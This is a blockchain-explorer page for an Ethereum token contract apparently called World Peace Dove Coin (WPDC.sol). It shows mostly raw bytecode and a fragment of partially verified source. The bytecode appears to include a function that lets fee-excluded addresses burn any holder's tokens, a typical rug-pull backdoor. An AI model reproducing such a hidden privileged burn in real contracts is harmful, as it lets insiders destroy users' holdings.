Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x6a8307Ee4521241d421bFD7627bcf8C5Fa5C8CDC
Balance 0 ETH
Nonce 1
Code Size 16360 bytes
Indexed Transactions 0 (1 on-chain, 0.7% indexed)
External Etherscan · Sourcify

Contract Bytecode

16360 bytes
0x6080604052600436106102345760003560e01c80639a7a23d61161012e578063cf9522fd116100ab578063e2f456051161006f578063e2f4560514610819578063f2fde38b14610844578063f8b45b051461086d578063fe605c0414610898578063ffb54a99146108af5761023b565b8063cf9522fd14610753578063d45c0cae1461077e578063d81a4a89146107a7578063dd62ed3e146107b1578063dd854652146107ee5761023b565b8063c0246668116100f2578063c0246668146106a8578063c18bc195146106d1578063c8c8ebe4146106fa578063c8ce76fe14610725578063ce068ae81461073c5761023b565b80639a7a23d6146105b3578063a457c2d7146105dc578063a9059cbb14610619578063afa4f3b214610656578063b70143c91461067f5761023b565b8063414a8786116101bc57806370a082311161018057806370a08231146104e0578063715018a61461051d5780637571336a146105345780638da5cb5b1461055d57806395d89b41146105885761023b565b8063414a8786146103f757806349bd5a5e146104225780634fbee1931461044d578063583e05681461048a5780636ddd1713146104b55761023b565b806323b872dd1161020357806323b872dd146102fc578063311028af14610339578063313ce56714610364578063395093511461038f5780633ff52513146103cc5761023b565b806306fdde0314610240578063095ea7b31461026b57806318160ddd146102a85780631816467f146102d35761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b506102556108da565b6040516102629190612d47565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612e02565b61096c565b60405161029f9190612e5d565b60405180910390f35b3480156102b457600080fd5b506102bd61098f565b6040516102ca9190612e87565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f59190612ea2565b610999565b005b34801561030857600080fd5b50610323600480360381019061031e9190612ecf565b610a61565b6040516103309190612e5d565b60405180910390f35b34801561034557600080fd5b5061034e610a90565b60405161035b9190612e87565b60405180910390f35b34801561037057600080fd5b50610379610a96565b6040516103869190612f3e565b60405180910390f35b34801561039b57600080fd5b506103b660048036038101906103b19190612e02565b610a9f565b6040516103c39190612e5d565b60405180910390f35b3480156103d857600080fd5b506103e1610ad6565b6040516103ee9190612e87565b60405180910390f35b34801561040357600080fd5b5061040c610adc565b6040516104199190612e87565b60405180910390f35b34801561042e57600080fd5b50610437610ae2565b6040516104449190612f68565b60405180910390f35b34801561045957600080fd5b50610474600480360381019061046f9190612ea2565b610b08565b6040516104819190612e5d565b60405180910390f35b34801561049657600080fd5b5061049f610b5e565b6040516104ac9190612fe2565b60405180910390f35b3480156104c157600080fd5b506104ca610b84565b6040516104d79190612e5d565b60405180910390f35b3480156104ec57600080fd5b5061050760048036038101906105029190612ea2565b610b97565b6040516105149190612e87565b60405180910390f35b34801561052957600080fd5b50610532610bdf565b005b34801561054057600080fd5b5061055b60048036038101906105569190613029565b610bf3565b005b34801561056957600080fd5b50610572610c56565b60405161057f9190612f68565b60405180910390f35b34801561059457600080fd5b5061059d610c80565b6040516105aa9190612d47565b60405180910390f35b3480156105bf57600080fd5b506105da60048036038101906105d59190613029565b610d12565b005b3480156105e857600080fd5b5061060360048036038101906105fe9190612e02565b610db8565b6040516106109190612e5d565b60405180910390f35b34801561062557600080fd5b50610640600480360381019061063b9190612e02565b610e2f565b60405161064d9190612e5d565b60405180910390f35b34801561066257600080fd5b5061067d60048036038101906106789190613069565b610e52565b005b34801561068b57600080fd5b506106a660048036038101906106a19190613069565b610e77565b005b3480156106b457600080fd5b506106cf60048036038101906106ca9190613029565b610f5f565b005b3480156106dd57600080fd5b506106f860048036038101906106f39190613069565b611010565b005b34801561070657600080fd5b5061070f6110ab565b60405161071c9190612e87565b60405180910390f35b34801561073157600080fd5b5061073a6110b1565b005b34801561074857600080fd5b506107516110d6565b005b34801561075f57600080fd5b50610768611166565b6040516107759190612e87565b60405180910390f35b34801561078a57600080fd5b506107a560048036038101906107a09190612e02565b61116c565b005b6107af61118c565b005b3480156107bd57600080fd5b506107d860048036038101906107d39190613096565b611552565b6040516107e59190612e87565b60405180910390f35b3480156107fa57600080fd5b506108036115d9565b6040516108109190612e87565b60405180910390f35b34801561082557600080fd5b5061082e6115df565b60405161083b9190612e87565b60405180910390f35b34801561085057600080fd5b5061086b60048036038101906108669190612ea2565b6115e5565b005b34801561087957600080fd5b50610882611668565b60405161088f9190612e87565b60405180910390f35b3480156108a457600080fd5b506108ad61166e565b005b3480156108bb57600080fd5b506108c461175b565b6040516108d19190612e5d565b60405180910390f35b6060600380546108e990613105565b80601f016020809104026020016040519081016040528092919081815260200182805461091590613105565b80156109625780601f1061093757610100808354040283529160200191610962565b820191906000526020600020905b81548152906001019060200180831161094557829003601f168201915b5050505050905090565b60008061097761176e565b9050610984818585611776565b600191505092915050565b6000600254905090565b6109a161193f565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610a6c61176e565b9050610a798582856119bd565b610a84858585611a49565b60019150509392505050565b600a5481565b60006012905090565b600080610aaa61176e565b9050610acb818585610abc8589611552565b610ac69190613165565b611776565b600191505092915050565b60125481565b60115481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610be761193f565b610bf1600061238b565b565b610bfb61193f565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c8f90613105565b80601f0160208091040260200160405190810160405280929190818152602001828054610cbb90613105565b8015610d085780601f10610cdd57610100808354040283529160200191610d08565b820191906000526020600020905b815481529060010190602001808311610ceb57829003601f168201915b5050505050905090565b610d1a61193f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da19061320b565b60405180910390fd5b610db48282612451565b5050565b600080610dc361176e565b90506000610dd18286611552565b905083811015610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d9061329d565b60405180910390fd5b610e238286868403611776565b60019250505092915050565b600080610e3a61176e565b9050610e47818585611a49565b600191505092915050565b610e5a61193f565b670de0b6b3a764000081610e6e91906132bd565b600d8190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb861176e565b73ffffffffffffffffffffffffffffffffffffffff1614610ed857600080fd5b6000610ee261098f565b90506000610eef30610b97565b9050600060648484610f0191906132bd565b610f0b919061332e565b905080821015610f50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f47906133ab565b60405180910390fd5b610f59816124f2565b50505050565b610f6761193f565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516110049190612e5d565b60405180910390a25050565b61101861193f565b670de0b6b3a76400006103e8600161102e61098f565b61103891906132bd565b611042919061332e565b61104c919061332e565b81101561108e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110859061343d565b60405180910390fd5b670de0b6b3a7640000816110a291906132bd565b600c8190555050565b600b5481565b6110b961193f565b60006110c361098f565b905080600b8190555080600c8190555050565b6110de61193f565b600e60009054906101000a900460ff161561112e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611125906134a9565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff021916908315150217905550565b60105481565b61117533610b08565b61117e57600080fd5b6111888282612757565b5050565b61119461193f565b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611216600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610bf3565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611283573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a791906134de565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611330573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135491906134de565b6040518363ffffffff1660e01b815260040161137192919061350b565b6020604051808303816000875af1158015611390573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b491906134de565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611421600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610bf3565b61144e600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001612451565b61149b30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611776565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306114e430610b97565b60008033426040518863ffffffff1660e01b815260040161150a9695949392919061356f565b60606040518083038185885af1158015611528573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061154d91906135e5565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d5481565b6115ed61193f565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361165c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611653906136aa565b60405180910390fd5b6116658161238b565b50565b600c5481565b600047116116b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a890613716565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116f261176e565b73ffffffffffffffffffffffffffffffffffffffff161461171257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611758573d6000803e3d6000fd5b50565b600e60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dc906137a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184b9061383a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119329190612e87565b60405180910390a3505050565b61194761176e565b73ffffffffffffffffffffffffffffffffffffffff16611965610c56565b73ffffffffffffffffffffffffffffffffffffffff16146119bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b2906138a6565b60405180910390fd5b565b60006119c98484611552565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611a435781811015611a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2c90613912565b60405180910390fd5b611a428484848403611776565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaf906139a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1e90613a36565b60405180910390fd5b60008103611b4057611b3b83836000612924565b612386565b611b48610c56565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bb65750611b86610c56565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bef5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c29575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c425750600960149054906101000a900460ff16155b1561202557600e60009054906101000a900460ff16611d3c57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cfc5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3290613aa2565b60405180910390fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ddf5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e8657600b54811115611e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2090613b34565b60405180910390fd5b600c54611e3583610b97565b82611e409190613165565b1115611e81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7890613ba0565b60405180910390fd5b612024565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f295750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f7857600b54811115611f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6a90613c32565b60405180910390fd5b612023565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661202257600c54611fd583610b97565b82611fe09190613165565b1115612021576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201890613ba0565b60405180910390fd5b5b5b5b5b600061203030610b97565b9050600080821190508080156120525750600e60019054906101000a900460ff165b801561206b5750600960149054906101000a900460ff16155b80156120c15750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121175750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561216d5750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121b2576001600960146101000a81548160ff02191690831515021790555061219683612b9a565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16159050601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122685750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561227257600090505b6000811561237657601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123115761230a6013546122dd601254612c38565b6122e791906132bd565b6122fc60105488612c8190919063ffffffff16565b612c9790919063ffffffff16565b9050612352565b61234f601354612322601154612c38565b61232c91906132bd565b612341600f5488612c8190919063ffffffff16565b612c9790919063ffffffff16565b90505b600081111561236757612366873083612924565b5b80856123739190613c52565b94505b612381878787612924565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff81111561250f5761250e613c86565b5b60405190808252806020026020018201604052801561253d5781602001602082028036833780820191505090505b509050308160008151811061255557612554613cb5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061262091906134de565b8160018151811061263457612633613cb5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061269b30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611776565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612721959493929190613da2565b600060405180830381600087803b15801561273b57600080fd5b505af115801561274f573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127bd90613e6e565b60405180910390fd5b6127d282600083612cad565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284f90613f00565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161290b9190612e87565b60405180910390a361291f83600084612cb2565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298a906139a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f990613a36565b60405180910390fd5b612a0d838383612cad565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8a90613f92565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b819190612e87565b60405180910390a3612b94848484612cb2565b50505050565b6000612ba530610b97565b90506000808203612bb7575050612c35565b600082118015612bc85750600d5482105b15612bd557819050612c29565b6000612bff6064612bf160105487612c8190919063ffffffff16565b612c9790919063ffffffff16565b90508084612c0d9190613c52565b9350600d54841115612c2357600d549150612c27565b8391505b505b612c32816124f2565b50505b50565b600080612c4661dead610b97565b118015612c535750600082115b612c5e576001612c7a565b60646001601354612c6f9190613c52565b612c79919061332e565b5b9050919050565b60008183612c8f91906132bd565b905092915050565b60008183612ca5919061332e565b905092915050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cf1578082015181840152602081019050612cd6565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d1982612cb7565b612d238185612cc2565b9350612d33818560208601612cd3565b612d3c81612cfd565b840191505092915050565b60006020820190508181036000830152612d618184612d0e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d9982612d6e565b9050919050565b612da981612d8e565b8114612db457600080fd5b50565b600081359050612dc681612da0565b92915050565b6000819050919050565b612ddf81612dcc565b8114612dea57600080fd5b50565b600081359050612dfc81612dd6565b92915050565b60008060408385031215612e1957612e18612d69565b5b6000612e2785828601612db7565b9250506020612e3885828601612ded565b9150509250929050565b60008115159050919050565b612e5781612e42565b82525050565b6000602082019050612e726000830184612e4e565b92915050565b612e8181612dcc565b82525050565b6000602082019050612e9c6000830184612e78565b92915050565b600060208284031215612eb857612eb7612d69565b5b6000612ec684828501612db7565b91505092915050565b600080600060608486031215612ee857612ee7612d69565b5b6000612ef686828701612db7565b9350506020612f0786828701612db7565b9250506040612f1886828701612ded565b9150509250925092565b600060ff82169050919050565b612f3881612f22565b82525050565b6000602082019050612f536000830184612f2f565b92915050565b612f6281612d8e565b82525050565b6000602082019050612f7d6000830184612f59565b92915050565b6000819050919050565b6000612fa8612fa3612f9e84612d6e565b612f83565b612d6e565b9050919050565b6000612fba82612f8d565b9050919050565b6000612fcc82612faf565b9050919050565b612fdc81612fc1565b82525050565b6000602082019050612ff76000830184612fd3565b92915050565b61300681612e42565b811461301157600080fd5b50565b60008135905061302381612ffd565b92915050565b600080604083850312156130405761303f612d69565b5b600061304e85828601612db7565b925050602061305f85828601613014565b9150509250929050565b60006020828403121561307f5761307e612d69565b5b600061308d84828501612ded565b91505092915050565b600080604083850312156130ad576130ac612d69565b5b60006130bb85828601612db7565b92505060206130cc85828601612db7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061311d57607f821691505b6020821081036131305761312f6130d6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061317082612dcc565b915061317b83612dcc565b925082820190508082111561319357613192613136565b5b92915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006131f5603983612cc2565b915061320082613199565b604082019050919050565b60006020820190508181036000830152613224816131e8565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613287602583612cc2565b91506132928261322b565b604082019050919050565b600060208201905081810360008301526132b68161327a565b9050919050565b60006132c882612dcc565b91506132d383612dcc565b92508282026132e181612dcc565b915082820484148315176132f8576132f7613136565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061333982612dcc565b915061334483612dcc565b925082613354576133536132ff565b5b828204905092915050565b7f4e6f7420656e6f75676820746f6b656e73000000000000000000000000000000600082015250565b6000613395601183612cc2565b91506133a08261335f565b602082019050919050565b600060208201905081810360008301526133c481613388565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c6574206c6f776572207468616e60008201527f20302e3125000000000000000000000000000000000000000000000000000000602082015250565b6000613427602583612cc2565b9150613432826133cb565b604082019050919050565b600060208201905081810360008301526134568161341a565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613493601783612cc2565b915061349e8261345d565b602082019050919050565b600060208201905081810360008301526134c281613486565b9050919050565b6000815190506134d881612da0565b92915050565b6000602082840312156134f4576134f3612d69565b5b6000613502848285016134c9565b91505092915050565b60006040820190506135206000830185612f59565b61352d6020830184612f59565b9392505050565b6000819050919050565b600061355961355461354f84613534565b612f83565b612dcc565b9050919050565b6135698161353e565b82525050565b600060c0820190506135846000830189612f59565b6135916020830188612e78565b61359e6040830187613560565b6135ab6060830186613560565b6135b86080830185612f59565b6135c560a0830184612e78565b979650505050505050565b6000815190506135df81612dd6565b92915050565b6000806000606084860312156135fe576135fd612d69565b5b600061360c868287016135d0565b935050602061361d868287016135d0565b925050604061362e868287016135d0565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613694602683612cc2565b915061369f82613638565b604082019050919050565b600060208201905081810360008301526136c381613687565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000613700601683612cc2565b915061370b826136ca565b602082019050919050565b6000602082019050818103600083015261372f816136f3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613792602483612cc2565b915061379d82613736565b604082019050919050565b600060208201905081810360008301526137c181613785565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613824602283612cc2565b915061382f826137c8565b604082019050919050565b6000602082019050818103600083015261385381613817565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613890602083612cc2565b915061389b8261385a565b602082019050919050565b600060208201905081810360008301526138bf81613883565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006138fc601d83612cc2565b9150613907826138c6565b602082019050919050565b6000602082019050818103600083015261392b816138ef565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061398e602583612cc2565b915061399982613932565b604082019050919050565b600060208201905081810360008301526139bd81613981565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a20602383612cc2565b9150613a2b826139c4565b604082019050919050565b60006020820190508181036000830152613a4f81613a13565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613a8c601683612cc2565b9150613a9782613a56565b602082019050919050565b60006020820190508181036000830152613abb81613a7f565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613b1e603583612cc2565b9150613b2982613ac2565b604082019050919050565b60006020820190508181036000830152613b4d81613b11565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613b8a601383612cc2565b9150613b9582613b54565b602082019050919050565b60006020820190508181036000830152613bb981613b7d565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613c1c603683612cc2565b9150613c2782613bc0565b604082019050919050565b60006020820190508181036000830152613c4b81613c0f565b9050919050565b6000613c5d82612dcc565b9150613c6883612dcc565b9250828203905081811115613c8057613c7f613136565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613d1981612d8e565b82525050565b6000613d2b8383613d10565b60208301905092915050565b6000602082019050919050565b6000613d4f82613ce4565b613d598185613cef565b9350613d6483613d00565b8060005b83811015613d95578151613d7c8882613d1f565b9750613d8783613d37565b925050600181019050613d68565b5085935050505092915050565b600060a082019050613db76000830188612e78565b613dc46020830187613560565b8181036040830152613dd68186613d44565b9050613de56060830185612f59565b613df26080830184612e78565b9695505050505050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e58602183612cc2565b9150613e6382613dfc565b604082019050919050565b60006020820190508181036000830152613e8781613e4b565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613eea602283612cc2565b9150613ef582613e8e565b604082019050919050565b60006020820190508181036000830152613f1981613edd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613f7c602683612cc2565b9150613f8782613f20565b604082019050919050565b60006020820190508181036000830152613fab81613f6f565b905091905056fea2646970667358221220048509d093d63ce5dee42b1d72a58684eb775571d778a29e1089a81033e49c1b64736f6c63430008130033

Verified Source Code Partial Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: No
WPDC.sol 791 lines
/**
 
*/

//SPDX-License-Identifier: MIT

/** 

TG: https://t.me/WORLDPEACEDOVECOINERC20

